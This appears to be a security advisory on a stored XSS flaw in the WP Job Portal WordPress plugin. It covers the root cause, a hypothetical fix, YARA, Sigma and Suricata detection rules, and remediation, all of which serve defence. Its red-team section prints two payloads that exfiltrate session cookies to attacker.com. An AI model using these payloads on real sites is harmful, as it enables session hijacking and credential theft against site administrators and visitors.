CVE-2024-35759

Executive Summary

CVE-2024-35759 is a stored Cross-Site Scripting (XSS) vulnerability in the WP Job Portal WordPress plugin (versions <= 2.1.3). The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into job portal pages. This can lead to session hijacking, credential theft, or defacement within the WordPress ecosystem. The CVSS score of 5.9 (Medium) reflects the need for user interaction and the limited impact on confidentiality, integrity, and availability. No public proof-of-concept or patch is currently available, increasing the risk for unpatched installations.

Supply Chain & Package Security

This vulnerability affects the WP Job Portal plugin distributed via the official WordPress plugin repository. Since no patch is available, site administrators must consider removing or disabling the plugin until a fix is released. The lack of OSV or GitHub advisory data indicates limited public disclosure, but the plugin’s widespread use in job board deployments makes it a target for automated scanning.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated attackers can trigger the vulnerability.
• User Interaction (UI): Required (R) – Victim must visit a crafted page or preview a job listing.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. The lack of a patch and the potential for automated exploitation in WordPress environments elevate the risk for unmanaged sites.

Deep Dive & Mechanics

The vulnerability exists in the wp-job-portal plugin’s job listing submission and display functionality. User input (e.g., job title, description, or custom fields) is not properly sanitized before being stored in the database and later rendered on the frontend. An attacker can submit a job posting containing malicious JavaScript, which executes when an administrator or visitor views the listing.

Root Cause: The plugin uses echo or _e() functions without escaping, or relies on outdated WordPress escaping functions that do not handle context-specific sanitization (e.g., esc_html() vs. esc_js()). The stored XSS vector allows the payload to persist across sessions.

Attack Flow:

1. Attacker submits a job listing via the plugin’s frontend form.
2. The payload (e.g., <script>alert('XSS')</script>) is stored in the wp_posts or custom table.
3. When an admin or visitor views the job listing, the script executes in their browser.
4. Attacker can steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (wp-job-portal <= 2.1.3):

// In job listing template
echo '<h2>' . $job_title . '</h2>';

Here, $job_title is output directly without escaping.

Patched Code (Hypothetical Fix):

// Properly escape output
echo '<h2>' . esc_html( $job_title ) . '</h2>';

The fix uses esc_html() to neutralize HTML and script tags. Additionally, input validation should be applied on submission using sanitize_text_field() or wp_kses_post().

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites: A WordPress instance with WP Job Portal <= 2.1.3 installed and a publicly accessible job submission form.

Exploitation Steps:

1. Navigate to the job submission page (e.g., /submit-job/).
2. Inject the following payload into a text field (e.g., job title):

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Submit the form.
4. Wait for an admin to view the job listing in the backend or frontend.
5. The cookie is exfiltrated to the attacker’s server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?c='+document.cookie">

Blue Team (Defensive)

Detection: Monitor for unusual job submissions containing script tags or base64-encoded payloads. Use WAF rules to block <script> and onerror attributes in form fields.

Honeypot: Deploy a fake job listing form with hidden fields to trap attackers. Log all submissions for analysis.

Mitigation: Disable the plugin immediately if no patch is available. Use a Web Application Firewall (WAF) with XSS signatures.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains containing document.cookie in the query string.
• Host: Presence of <script> tags in wp_posts.post_content or custom plugin tables.
• Logs: WordPress debug log entries showing wp_job_portal errors or unexpected input.
• File: Modified plugin files (e.g., wp-job-portal/includes/class-job-listing.php) with added eval or base64_decode functions.

Detection Engineering

YARA Rule

rule CVE_2024_35759_WP_Job_Portal_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Job Portal plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-35759"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
    condition:
        any of them
}

Sigma Rule

title: WP Job Portal Stored XSS Detection
id: 8a3f7c2e-5b1d-4a9f-8c6e-2d3f1a0b9c8d
status: experimental
description: Detects stored XSS attempts in WP Job Portal plugin submissions
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/submit-job/'
        cs-body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in job descriptions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-35759 WP Job Portal Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/submit-job/"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the WP Job Portal plugin if no patch is available. Use a WAF to block XSS payloads.
2. Short-term: Monitor for plugin updates from the vendor. Apply patches as soon as they are released.
3. Long-term: Implement Content Security Policy (CSP) headers to restrict script execution. Regularly audit WordPress plugins for vulnerabilities.
4. Workaround: If the plugin must remain active, restrict job submission to authenticated users only and sanitize all input using sanitize_text_field() and wp_kses_post().

Valters IT
Securing Digital Frontiers